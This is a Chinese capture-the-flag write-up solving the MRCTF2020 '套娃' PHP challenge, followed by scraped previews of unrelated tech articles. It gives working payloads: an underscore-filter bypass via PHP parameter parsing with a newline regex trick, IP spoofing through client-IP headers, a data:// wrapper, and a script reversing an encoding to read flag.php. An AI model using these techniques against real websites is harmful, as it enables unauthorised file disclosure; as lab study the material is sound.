[MRCTF2020]套娃 php字符串解析绕过,jsfuck编码

server/2024/9/23 1:44:31/

进来看到代码

<!--
//1st
$query = $_SERVER['QUERY_STRING'];if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){die('Y0u are So cutE!');
}if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){echo "you are going to the next ~";
}
!-->

意思就是我们在url中?后面的东西不能出现下划线和它的url编码,第二个if不能强等于23333又要匹配到23333

字符串解析参考文章:

利用PHP的字符串解析特性Bypass - FreeBuf网络安全行业门户

经过尝试这两种可以绕过

b%20u%20p%20t=23333%0A    //%20为空格url编码,%0A为回车url编码
b%2eu%2ep%2et=23333%0A    //%2e为.

进去过后页面显示ip不对,下面随便用一个伪造127.0.0.1即可

X-Real-IP:

X-Client-IP:

X-Originating-IP:

出现一串jsfuck码,有两种解码方式

第一中F12打开控制台输入即可,如果有警告按提示输入即可解析

第二种去这个网站解析

CoderTab - JSUnFuck - Decode JSFuck Here

post方式传递参数出现源码

bp右键点击通过浏览器请求复制网址浏览器输入即可复制源码

源码:

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); 
} function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

代码解析:

change函数的主要功能是将参数$v进行base64解码,并对解码后的结果进行进一步的处理。具体来说,函数使用一个循环迭代字符串$v的每个字符。在每次迭代中,函数将字符转换为ASCII码,然后加上$i乘以2的结果,再将得到的新的ASCII码转换回字符,并将其拼接到一个结果字符串$re中。

最后,函数返回结果字符串$re

if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' )老办法伪造ip,然后利用data伪协议写入数据传给2333即可

我们要使$_GET['file'])的值为flag.php

把change函数逆向一下得到v值为

ZmpdYSZmXGI=

PHP脚本:

$str = '';
$re = 'flag.php';
for ($i=0;$i<strlen($re);$i++){$str .= chr ( ord ($re[$i]) - $i*2 );
}
$str = base64_encode($str);
echo "传入的v的值为:".$str;

改变请求方式进行传值,payload;

?2333=data://text/plain,todat%20is%20a%20happy%20day&file=ZmpdYSZmXGI

Client-IP: 127.0.0.1


http://www.ppmy.cn/server/98637.html

相关文章

SpringBoot自动装配原理

SpringBoot自动装配原理 SpringBootApplication 中包含了三个核心注解 SpringBootConfiguration 声明当前的类是配置类 ComponentScan 组件扫描,默认扫描引导类所在包以及子包 EnableAutoConfiguration 实现SpringBoot自动化配置的核心注解 EnableAutoConfiguration …

SS9283403 sqlite3交叉编译并部署到SS928(六)

1.Sqlite3下载 连接&#xff1a;SQLite Download Page 2.解压 tar zxvf sqlite-autoconf-3460000.tar.gz 3.配置并编译 进入解压目录&#xff0c;打开命令行&#xff0c;输入如下命令 ./configure CCaarch64-mix210-linux-gcc --hostarm-linux --prefix/home/mc/work/sqlite…

excel中有些以文本格式存储的数值如何批量转换为数字

一、背景 1.1 文本格式存储的数值特点 在平时工作中有时候会从别地方导出来表格&#xff0c;表格中有些数值是以文本格式存储的&#xff08;特点&#xff1a;单元格的左上角有个绿色的小标&#xff09;。 1.2 文本格式存储的数值在排序时不符合预期 当我们需要进行排序的时候…

Maven系统学习

Maven基础 Apache Maven 是一个软件项目管理和构建工具&#xff0c;可以帮助创建和管理项目 maven环境安装和配置 解压文件到sofeware下面去。 查看maven的版本 mvn --v Apache Maven 3.6.1 (d66c9c0b3152b2e69ee9bac180bb8fcc8e6af555; 2019-04-05T03:00:2908:00) Maven …

K8S中Containerd之ctr和crictl简介以及常见操作

前言 Kubernetes (K8s) 对容器运行时有多种支持,包括 Docker 和 containerd。 以下是一些支持 Docker 和 containerd 的 Kubernetes 版本: Kubernetes 从 1.20 版本开始逐步弃用 Docker 作为默认的容器运行时,转而使用 containerd 作为底层容器运行时。 具体来说: Kuberne…

虚拟机能访问网页但ping不通百度

最近遇到了奇怪的问题&#xff0c;虚拟机能访问网页&#xff0c;但ping不通百度&#xff0c;记录一下问题的排查过程。 能访问网页&#xff0c;说明DNS、TCP和HTTP没有问题&#xff0c;ping不通&#xff0c;说明ICMP应该出了问题。 首先通过traceroute追踪报文的转发过程&…

vs2022 开发vue带后端

1)参考官方方法新建开始 refs: 使用 Vue 创建 ASP.NET Core 应用 - Visual Studio (Windows) | Microsoft Learn 2)对于已有的可以参考这个开始 refs: 解答网友提问 | 使用VS2022快速生成React/Angular/Vue.js Web API前后端集成项目-CSDN博客

学习笔记五:在k8s中安装EFK组件(elasticsearch+fluentd+kibana)

在k8s 1.3安装EFK组件 前置条件上传压缩包安装nfs供应商创建nfs作为存储的供应商通过deployment创建pod用来运行nfs-provisioner 安装elasticsearch组件安装kibana组件安装fluentd组件 前置条件 查看k8s版本 kubectl get node -owide相关安装包 链接&#xff1a;https://pan.ba…